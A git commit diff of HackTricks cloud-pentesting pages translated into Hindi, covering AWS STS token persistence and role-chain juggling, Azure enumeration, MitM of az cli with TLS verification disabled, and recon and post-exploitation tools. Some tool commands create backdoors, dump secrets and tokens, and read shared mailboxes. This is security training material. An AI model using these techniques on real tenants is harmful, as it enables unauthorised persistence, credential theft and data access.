Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sts-p

This commit is contained in:
Translator
2025-01-21 17:40:06 +00:00
parent 36d2fcd1e4
commit 3189d73baa
42 changed files with 820 additions and 803 deletions
@@ -12,25 +12,25 @@
### Assume role token ### Assume role token
अस्थायी टोकन को सूचीबद्ध नहीं किया जा सकता, इसलिए एक सक्रिय अस्थायी टोकन बनाए रखना स्थायीता बनाए रखने का एक तरीका है। अस्थायी टोकन को सूचीबद्ध नहीं किया जा सकता है, इसलिए एक सक्रिय अस्थायी टोकन बनाए रखना स्थायीता बनाए रखने का एक तरीका है।
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600 <pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
# With MFA # With MFA
aws sts get-session-token \ aws sts get-session-token \
--serial-number &#x3C;mfa-device-name> \ --serial-number <mfa-device-name> \
--token-code &#x3C;code-from-token> --token-code <code-from-token>
# हार्डवेयर डिवाइस का नाम आमतौर पर डिवाइस के पीछे का नंबर होता है, जैसे GAHT12345678 # Hardware device name is usually the number from the back of the device, such as GAHT12345678
<strong># SMS डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:sms-mfa/username <strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
</strong># वर्चुअल डिवाइस का नाम AWS में ARN होता है, जैसे arn:aws:iam::123456789012:mfa/username </strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
</code></pre> </code></pre>
### Role Chain Juggling ### Role Chain Juggling
[**रोल चेनिंग एक मान्यता प्राप्त AWS विशेषता है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), जो अक्सर छिपी हुई स्थिरता बनाए रखने के लिए उपयोग क जात है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से प्रारंभिक भूमिका पर **चक्रीय तरीके से लौटते हुए**। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है। [**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), अक्सर स्थायीता बनाए रखने के लिए उपयोग किया जात है। इसमें **एक भूमिका को मान लेना शामिल है जो फिर दूसरी भूमिका को मान लेती है**, संभावित रूप से **चक्रीय तरीके** से प्रारंभिक भूमिका पर लौटते हुए। प्रत्येक बार जब एक भूमिका को मान लिया जाता है, तो क्रेडेंशियल्स की समाप्ति फ़ील्ड को ताज़ा किया जाता है। परिणामस्वरूप, यदि दो भूमिकाएँ एक-दूसरे को आपस में मानने के लिए कॉन्फ़िगर की गई हैं, तो यह सेटअप क्रेडेंशियल्स के निरंतर नवीनीकरण की अनुमति देता है।
आप इस [**उपकरण**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके रोल चेनिंग को जारी रख सकते हैं: आप इस [**tool**](https://github.com/hotnops/AWSRoleJuggler/) का उपयोग करके भूमिका श्रृंखला को बनाए रख सकते हैं:
```bash ```bash
./aws_role_juggler.py -h ./aws_role_juggler.py -h
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
@@ -45,7 +45,7 @@ optional arguments:
<details> <details>
<summary>PowerShell से भूमिका जुगलिंग करने के लिए कोड</summary> <summary>PowerShell से भूमिका जुगलिंग करने के लिए कोड</summary>
```powershell ```bash
# PowerShell script to check for role juggling possibilities using AWS CLI # PowerShell script to check for role juggling possibilities using AWS CLI
# Check for AWS CLI installation # Check for AWS CLI installation
+10 -232
View File
@@ -10,7 +10,7 @@ az-basic-information/
## Azure Pentester/Red Team Methodology ## Azure Pentester/Red Team Methodology
AZURE वातावरण का ऑडिट करने के लिए यह बहुत महत्वपूर्ण है: कौन सी **सेवाएँ उपयोग की जा रही हैं**, क्या **एक्सपोज़** किया जा रहा है, किसके पास **एक्सेस** है, और आंतरिक Azure सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं। AZURE वातावरण का ऑडिट करने के लिए यह बहुत महत्वपूर्ण है: कौन-सी **सेवाएँ उपयोग की जा रही हैं**, क्या **एक्सपोज़** किया जा रहा है, किसके पास **एक्सेस** है, और आंतरिक Azure सेवाएँ और **बाहरी सेवाएँ** कैसे जुड़ी हुई हैं।
Red Team के दृष्टिकोण से, **Azure वातावरण को समझौता करने का पहला कदम** Azure AD के लिए कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं: Red Team के दृष्टिकोण से, **Azure वातावरण को समझौता करने का पहला कदम** Azure AD के लिए कुछ **क्रेडेंशियल्स** प्राप्त करना है। यहाँ कुछ विचार दिए गए हैं कि आप ऐसा कैसे कर सकते हैं:
@@ -40,7 +40,7 @@ az-unauthenticated-enum-and-initial-entry/
{{#endref}} {{#endref}}
> [!NOTE] > [!NOTE]
> एक बार जब आप क्रेडेंशियल्स प्राप्त कर लेते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या एक्सेस है**, इसलिए आपको कुछ बुनियादी एन्यूमरेशन करना होगा: > एक बार जब आप क्रेडेंशियल्स प्राप्त कर लेते हैं, तो आपको यह जानने की आवश्यकता है कि **ये क्रेडेंशियल्स किसके हैं**, और **इनके पास क्या एक्सेस है**, इसलिए आपको कुछ बुनियादी एन्यूमरेशन करने की आवश्यकता है:
## Basic Enumeration ## Basic Enumeration
@@ -75,7 +75,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/phishing-met
### Whoami ### Whoami
> [!CAUTION] > [!CAUTION]
> जानें **कैसे स्थापित करें** az cli, AzureAD और Az PowerShell [**Az - Entra ID**](az-services/az-azuread.md) अनुभाग में। > जानें **कैसे स्थापित करें** az cli, AzureAD और Az PowerShell को [**Az - Entra ID**](az-services/az-azuread.md) अनुभाग में।
आपको जानने की आवश्यकता है कि **आप कौन हैं** (आप किस वातावरण में हैं): आपको जानने की आवश्यकता है कि **आप कौन हैं** (आप किस वातावरण में हैं):
@@ -92,7 +92,7 @@ az account management-group list #Not allowed by default
{{#endtab }} {{#endtab }}
{{#tab name="AzureAD" }} {{#tab name="AzureAD" }}
```powershell ```bash
#Get the current session state #Get the current session state
Get-AzureADCurrentSessionInfo Get-AzureADCurrentSessionInfo
#Get details of the current tenant #Get details of the current tenant
@@ -101,7 +101,7 @@ Get-AzureADTenantDetail
{{#endtab }} {{#endtab }}
{{#tab name="Az PowerShell" }} {{#tab name="Az PowerShell" }}
```powershell ```bash
# Get the information about the current context (Account, Tenant, Subscription etc.) # Get the information about the current context (Account, Tenant, Subscription etc.)
Get-AzContext Get-AzContext
# List all available contexts # List all available contexts
@@ -120,13 +120,13 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user
{{#endtabs }} {{#endtabs }}
> [!CAUTION] > [!CAUTION]
> Azure को सूचीबद्ध करने के लिए सबसे महत्वपूर्ण कमांडों में से एक है **`Get-AzResource`** Az PowerShell से, क्योंकि यह आपको **जानने देता है कि आपके वर्तमान उपयोगकर्ता के पास कौन से संसाधनों की दृश्यता है**। > Azure को सूचीबद्ध करने के लिए सबसे महत्वपूर्ण कमांड में से एक है **`Get-AzResource`** Az PowerShell से, क्योंकि यह आपको **जानने देता है कि आपके वर्तमान उपयोगकर्ता के पास कौन से संसाधनों की दृश्यता है**।
> >
> आप वही जानकारी **वेब कंसोल** में प्राप्त कर सकते हैं [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) पर जाकर या "सभी संसाधन" खोजकर। > आप वही जानकारी **वेब कंसोल** में [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) पर जाकर या "सभी संसाधन" खोजकर प्राप्त कर सकते हैं
### ENtra ID Enumeration ### Entra ID Enumeration
डिफ़ॉल्ट रूप से, किसी भी उपयोगकर्ता को **चीजों को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ होनी चाहिए** जैसे, उपयोगकर्ता, समूह, भूमिकाएँ, सेवा प्रमुख... (चेक करें [डिफ़ॉल्ट AzureAD अनुमतियाँ](az-basic-information/index.html#default-user-permissions)).\ डिफ़ॉल्ट रूप से, किसी भी उपयोगकर्ता को **चीजों को सूचीबद्ध करने के लिए पर्याप्त अनुमतियाँ होनी चाहिए** जैसे, उपयोगकर्ता, समूह, भूमिकाएँ, सेवा प्रमुख... (देखें [डिफ़ॉल्ट AzureAD अनुमतियाँ](az-basic-information/index.html#default-user-permissions)).\
आप यहाँ एक गाइड पा सकते हैं: आप यहाँ एक गाइड पा सकते हैं:
{{#ref}} {{#ref}}
@@ -135,7 +135,7 @@ az-services/az-azuread.md
> [!NOTE] > [!NOTE]
> अब जब आपके पास **आपकी क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए हैं**)। यह पता लगाने का समय है कि वातावरण में कौन से सेवाएँ उपयोग की जा रही हैं।\ > अब जब आपके पास **आपकी क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं, तो उम्मीद है कि आप **पकड़े नहीं गए हैं**)। यह पता लगाने का समय है कि वातावरण में कौन से सेवाएँ उपयोग की जा रही हैं।\
> अगले अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं। > निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं।
## App Service SCM ## App Service SCM
@@ -149,226 +149,4 @@ portal.azure.com का उपयोग करें और शेल का च
Azure DevOps Azure से अलग है। इसमें रिपॉजिटरी, पाइपलाइन्स (yaml या रिलीज़), बोर्ड, विकी, और अधिक हैं। वेरिएबल ग्रुप्स का उपयोग वेरिएबल मान और रहस्यों को संग्रहीत करने के लिए किया जाता है। Azure DevOps Azure से अलग है। इसमें रिपॉजिटरी, पाइपलाइन्स (yaml या रिलीज़), बोर्ड, विकी, और अधिक हैं। वेरिएबल ग्रुप्स का उपयोग वेरिएबल मान और रहस्यों को संग्रहीत करने के लिए किया जाता है।
## Debug | MitM az cli
पैरामीटर **`--debug`** का उपयोग करके यह देखना संभव है कि उपकरण **`az`** सभी अनुरोध भेज रहा है:
```bash
az account management-group list --output table --debug
```
एक **MitM** करने के लिए टूल पर और **सभी अनुरोधों** की मैन्युअल रूप से जांच करने के लिए आप कर सकते हैं:
{{#tabs }}
{{#tab name="Bash" }}
```bash
export ADAL_PYTHON_SSL_NO_VERIFY=1
export AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
export HTTPS_PROXY="http://127.0.0.1:8080"
export HTTP_PROXY="http://127.0.0.1:8080"
# If this is not enough
# Download the certificate from Burp and convert it into .pem format
# And export the following env variable
openssl x509 -in ~/Downloads/cacert.der -inform DER -out ~/Downloads/cacert.pem -outform PEM
export REQUESTS_CA_BUNDLE=/Users/user/Downloads/cacert.pem
```
{{#endtab }}
{{#tab name="PS" }}
```bash
$env:ADAL_PYTHON_SSL_NO_VERIFY=1
$env:AZURE_CLI_DISABLE_CONNECTION_VERIFICATION=1
$env:HTTPS_PROXY="http://127.0.0.1:8080"
$env:HTTP_PROXY="http://127.0.0.1:8080"
```
{{#endtab }}
{{#endtabs }}
## स्वचालित पुनः खोज उपकरण
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
```powershell
cd ROADTools
pipenv shell
roadrecon auth -u test@corp.onmicrosoft.com -p "Welcome2022!"
roadrecon gather
roadrecon gui
```
### [Monkey365](https://github.com/silverhack/monkey365)
```powershell
Import-Module monkey365
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
Invoke-Monkey365 -IncludeEntraID -ExportTo HTML -Verbose -Debug -InformationAction Continue
Invoke-Monkey365 - Instance Azure -Analysis All -ExportTo HTML
```
### [**Stormspotter**](https://github.com/Azure/Stormspotter)
```powershell
# Start Backend
cd stormspotter\backend\
pipenv shell
python ssbackend.pyz
# Start Front-end
cd stormspotter\frontend\dist\spa\
quasar.cmd serve -p 9091 --history
# Run Stormcollector
cd stormspotter\stormcollector\
pipenv shell
az login -u test@corp.onmicrosoft.com -p Welcome2022!
python stormspotter\stormcollector\sscollector.pyz cli
# This will generate a .zip file to upload in the frontend (127.0.0.1:9091)
```
### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound)
```powershell
# You need to use the Az PowerShell and Azure AD modules:
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential ("test@corp.onmicrosoft.com", $passwd)
Connect-AzAccount -Credential $creds
Import-Module AzureAD\AzureAD.psd1
Connect-AzureAD -Credential $creds
# Launch AzureHound
. AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
# Simple queries
## All Azure Users
MATCH (n:AZUser) return n.name
## All Azure Applications
MATCH (n:AZApp) return n.objectid
## All Azure Devices
MATCH (n:AZDevice) return n.name
## All Azure Groups
MATCH (n:AZGroup) return n.name
## All Azure Key Vaults
MATCH (n:AZKeyVault) return n.name
## All Azure Resource Groups
MATCH (n:AZResourceGroup) return n.name
## All Azure Service Principals
MATCH (n:AZServicePrincipal) return n.objectid
## All Azure Virtual Machines
MATCH (n:AZVM) return n.name
## All Principals with the Contributor role
MATCH p = (n)-[r:AZContributor]->(g) RETURN p
# Advanced queries
## Get Global Admins
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
## Owners of Azure Groups
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
## All Azure Users and their Groups
MATCH p=(m:AZUser)-[r:MemberOf]->(n) WHERE NOT m.objectid CONTAINS 'S-1-5' RETURN p
## Privileged Service Principals
MATCH p = (g:AZServicePrincipal)-[r]->(n) RETURN p
## Owners of Azure Applications
MATCH p = (n)-[r:AZOwns]->(g:AZApp) RETURN p
## Paths to VMs
MATCH p = (n)-[r]->(g: AZVM) RETURN p
## Paths to KeyVault
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
## Paths to Azure Resource Group
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
## On-Prem users with edges to Azure
MATCH p=(m:User)-[r:AZResetPassword|AZOwns|AZUserAccessAdministrator|AZContributor|AZAddMembers|AZGlobalAdmin|AZVMContributor|AZOwnsAZAvereContributor]->(n) WHERE m.objectid CONTAINS 'S-1-5-21' RETURN p
## All Azure AD Groups that are synchronized with On-Premise AD
MATCH (n:Group) WHERE n.objectid CONTAINS 'S-1-5' AND n.azsyncid IS NOT NULL RETURN n
```
### [Azucar](https://github.com/nccgroup/azucar)
```bash
# You should use an account with at least read-permission on the assets you want to access
git clone https://github.com/nccgroup/azucar.git
PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File
PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000
# resolve the TenantID for an specific username
PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com
```
### [**MicroBurst**](https://github.com/NetSPI/MicroBurst)
```
Import-Module .\MicroBurst.psm1
Import-Module .\Get-AzureDomainInfo.ps1
Get-AzureDomainInfo -folder MicroBurst -Verbose
```
### [**PowerZure**](https://github.com/hausec/PowerZure)
```powershell
Connect-AzAccount
ipmo C:\Path\To\Powerzure.psd1
Get-AzureTarget
# Reader
$ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails
# Contributor
$ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami"
$ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml"
$ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents
$ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk
# Owner
$ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest
# Administrator
$ Create-Backdoor, Execute-Backdoor
```
### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner)
```powershell
#Get-GraphTokens
#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
Import-Module .\GraphRunner.ps1
Get-GraphTokens
#Invoke-GraphRecon
#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-GraphRecon -Tokens $tokens -PermissionEnum
#Invoke-DumpCAPS
#A module to dump conditional access policies from a tenant.
Invoke-DumpCAPS -Tokens $tokens -ResolveGuids
#Invoke-DumpApps
#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to.
Invoke-DumpApps -Tokens $tokens
#Get-AzureADUsers
#Gather the full list of users from the directory.
Get-AzureADUsers -Tokens $tokens -OutFile users.txt
#Get-SecurityGroups
#Create a list of security groups along with their members.
Get-SecurityGroups -AccessToken $tokens.access_token
G#et-UpdatableGroups
#Gets groups that may be able to be modified by the current user
Get-UpdatableGroups -Tokens $tokens
#Get-DynamicGroups
#Finds dynamic groups and displays membership rules
Get-DynamicGroups -Tokens $tokens
#Get-SharePointSiteURLs
#Gets a list of SharePoint site URLs visible to the current user
Get-SharePointSiteURLs -Tokens $tokens
#Invoke-GraphOpenInboxFinder
#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work.
Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt
#Get-TenantID
#This module attempts to gather a tenant ID associated with a domain.
Get-TenantID -Domain
#Invoke-GraphRunner
#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams.
Invoke-GraphRunner -Tokens $tokens
```
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
@@ -45,7 +45,7 @@ pwsh
brew update brew update
brew upgrade powershell brew upgrade powershell
``` ```
## मुख्य एनुमेरशन टूल्स ## मुख्य एनुमेरशन टूल
### az cli ### az cli
@@ -57,7 +57,7 @@ Azure CLI में आदेशों को इस पैटर्न का
#### डिबग | MitM az cli #### डिबग | MitM az cli
पैरामीटर **`--debug`** का उपयोग करके यह देखना संभव है कि टूल **`az`** सभी अनुरोधों को क्या भेज रहा है: पैरामीटर **`--debug`** का उपयोग करके यह देखना संभव है कि टूल **`az`** सभी अनुरोध भेज रहा है:
```bash ```bash
az account management-group list --output table --debug az account management-group list --output table --debug
``` ```
@@ -99,15 +99,15 @@ Azure PowerShell AZ मॉड्यूल में कमांड इस प
#### Debug | MitM Az PowerShell #### Debug | MitM Az PowerShell
पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को भेज रहा है: **`-Debug`** पैरामीटर का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को भेज रहा है:
```bash ```bash
Get-AzResourceGroup -Debug Get-AzResourceGroup -Debug
``` ```
**MitM** करने और **सभी अनुरोधों** की मैन्युअल जांच करने के लिए, आप पर्यावरण चर `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं। एक **MitM** करने के लिए और **सभी अनुरोधों** की जांच करने के लिए जो यह मैन्युअल रूप से भेज रहा है, आप पर्यावरण चर `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं।
### Microsoft Graph PowerShell ### Microsoft Graph PowerShell
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत प्रश्नों का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है। Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
[**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें। [**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें।
@@ -115,17 +115,256 @@ Microsoft Graph PowerShell में कमांड इस प्रकार
#### Debug Microsoft Graph PowerShell #### Debug Microsoft Graph PowerShell
पैरामीटर **`-Debug`** का उपयोग करके, यह देखना संभव है कि उपकरण सभी अनुरोधों को कैसे भेज रहा है: पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को कैसे भेज रहा है:
```bash ```bash
Get-MgUser -Debug Get-MgUser -Debug
``` ```
### ~~**AzureAD Powershell**~~ ### ~~**AzureAD Powershell**~~
Azure Active Directory (AD) मॉड्यूल, जो अब **deprecated** है, Azure AD संसाधनों को प्रबंधित करने के लिए Azure PowerShell का हिस्सा है। यह Entra ID में उपयोगकर्ताओं, समूहों और अनुप्रयोग पंजीकरणों को प्रबंधित करने के लिए cmdlets प्रदान करता है। Azure Active Directory (AD) मॉड्यूल, जो अब **deprecated** है, Azure AD संसाधनों को प्रबंधित करने के लिए Azure PowerShell का हिस्सा है। यह Entra ID में उपयोगकर्ताओं, समूहों और अनुप्रयोग पंजीकरणों को प्रबंधित करने जैसे कार्यों के लिए cmdlets प्रदान करता है।
> [!TIP] > [!TIP]
> इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है > इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है
इस लिंक का पालन करें [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD). [**स्थापना निर्देशों**](https://www.powershellgallery.com/packages/AzureAD) के लिए इस लिंक का पालन करें।
## Automated Recon & Compliance Tools
### [turbot azure plugins](https://github.com/orgs/turbot/repositories?q=mod-azure)
Turbot, steampipe और powerpipe के साथ, Azure और Entra ID से जानकारी एकत्र करने और अनुपालन जांच करने और गलत कॉन्फ़िगरेशन खोजने की अनुमति देता है। वर्तमान में चलाने के लिए सबसे अनुशंसित Azure मॉड्यूल हैं:
- [https://github.com/turbot/steampipe-mod-azure-compliance](https://github.com/turbot/steampipe-mod-azure-compliance)
- [https://github.com/turbot/steampipe-mod-azure-insights](https://github.com/turbot/steampipe-mod-azure-insights)
- [https://github.com/turbot/steampipe-mod-azuread-insights](https://github.com/turbot/steampipe-mod-azuread-insights)
```bash
# Install
brew install turbot/tap/powerpipe
brew install turbot/tap/steampipe
steampipe plugin install azure
steampipe plugin install azuread
# Config creds via env vars or az cli default creds will be used
export AZURE_ENVIRONMENT="AZUREPUBLICCLOUD"
export AZURE_TENANT_ID="<tenant-id>"
export AZURE_SUBSCRIPTION_ID="<subscription-id>"
export AZURE_CLIENT_ID="<client-id>"
export AZURE_CLIENT_SECRET="<secret>"
# Run steampipe-mod-azure-insights
cd /tmp
mkdir dashboards
cd dashboards
powerpipe mod init
powerpipe mod install github.com/turbot/steampipe-mod-azure-insights
steampipe service start
powerpipe server
# Go to http://localhost:9033 in a browser
```
### [Prowler](https://github.com/prowler-cloud/prowler)
Prowler एक ओपन सोर्स सुरक्षा उपकरण है जो AWS, Azure, Google Cloud और Kubernetes सुरक्षा सर्वोत्तम प्रथाओं का आकलन, ऑडिट, घटना प्रतिक्रिया, निरंतर निगरानी, हार्डनिंग और फॉरेंसिक्स तैयारी करने के लिए उपयोग किया जाता है।
यह मूल रूप से हमें Azure वातावरण के खिलाफ सैकड़ों जांचें करने की अनुमति देगा ताकि सुरक्षा गलत कॉन्फ़िगरेशन को खोजा जा सके और परिणामों को json (और अन्य पाठ प्रारूप) में इकट्ठा किया जा सके या उन्हें वेब में जांचा जा सके।
```bash
# Create a application with Reader role and set the tenant ID, client ID and secret in prowler so it access the app
# Launch web with docker-compose
export DOCKER_DEFAULT_PLATFORM=linux/amd64
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/docker-compose.yml
curl -LO https://raw.githubusercontent.com/prowler-cloud/prowler/refs/heads/master/.env
## If using an old docker-compose version, change the "env_file" params to: env_file: ".env"
docker compose up -d
# Access the web and configure the access to run a scan from it
# Prowler cli
python3 -m pip install prowler --break-system-packages
docker run --rm toniblyx/prowler:v4-latest azure --list-checks
docker run --rm toniblyx/prowler:v4-latest azure --list-services
docker run --rm toniblyx/prowler:v4-latest azure --list-compliance
docker run --rm -e "AZURE_CLIENT_ID=<client-id>" -e "AZURE_TENANT_ID=<tenant-id>" -e "AZURE_CLIENT_SECRET=<secret>" toniblyx/prowler:v4-latest azure --sp-env-auth
## It also support other authentication types, check: prowler azure --help
```
### [Monkey365](https://github.com/silverhack/monkey365)
यह Azure सब्सक्रिप्शन और Microsoft Entra ID सुरक्षा कॉन्फ़िगरेशन समीक्षाएँ स्वचालित रूप से करने की अनुमति देता है।
HTML रिपोर्ट `./monkey-reports` निर्देशिका के अंदर github रिपॉजिटरी फ़ोल्डर के अंदर संग्रहीत होती हैं।
```bash
git clone https://github.com/silverhack/monkey365
Get-ChildItem -Recurse monkey365 | Unblock-File
cd monkey365
Import-Module ./monkey365
mkdir /tmp/monkey365-scan
cd /tmp/monkey365-scan
Get-Help Invoke-Monkey365
Get-Help Invoke-Monkey365 -Detailed
# Scan with user creds (browser will be run)
Invoke-Monkey365 -TenantId <tenant-id> -Instance Azure -Collect All -ExportTo HTML
# Scan with App creds
$SecureClientSecret = ConvertTo-SecureString "<secret>" -AsPlainText -Force
Invoke-Monkey365 -TenantId <tenant-id> -ClientId <client-id> -ClientSecret $SecureClientSecret -Instance Azure -Collect All -ExportTo HTML
```
### [ScoutSuite](https://github.com/nccgroup/ScoutSuite)
Scout Suite मैन्युअल निरीक्षण के लिए कॉन्फ़िगरेशन डेटा एकत्र करता है और जोखिम क्षेत्रों को उजागर करता है। यह एक मल्टी-क्लाउड सुरक्षा-ऑडिटिंग उपकरण है, जो क्लाउड वातावरण के सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है।
```bash
virtualenv -p python3 venv
source venv/bin/activate
pip install scoutsuite
scout --help
# Use --cli flag to use az cli credentials
# Use --user-account to have scout prompt for user credentials
# Use --user-account-browser to launch a browser to login
# Use --service-principal to have scout prompt for app credentials
python scout.py azure --cli
```
### [Azure-MG-Sub-Governance-Reporting](https://github.com/JulianHayward/Azure-MG-Sub-Governance-Reporting)
यह एक powershell स्क्रिप्ट है जो आपको **एक प्रबंधन समूह और Entra ID** टेनेट के अंदर सभी संसाधनों और अनुमतियों को दृश्य बनाने और सुरक्षा गलत कॉन्फ़िगरेशन खोजने में मदद करती है।
यह Az PowerShell मॉड्यूल का उपयोग करके काम करती है, इसलिए इस उपकरण द्वारा समर्थित कोई भी प्रमाणीकरण इस उपकरण द्वारा समर्थित है।
```bash
import-module Az
.\AzGovVizParallel.ps1 -ManagementGroupId <management-group-id> [-SubscriptionIdWhitelist <subscription-id>]
```
## Automated Post-Exploitation tools
### [**ROADRecon**](https://github.com/dirkjanm/ROADtools)
ROADRecon की गणना Entra ID की कॉन्फ़िगरेशन के बारे में जानकारी प्रदान करती है, जैसे उपयोगकर्ता, समूह, भूमिकाएँ, शर्तीय पहुँच नीतियाँ...
```bash
cd ROADTools
pipenv shell
# Login with user creds
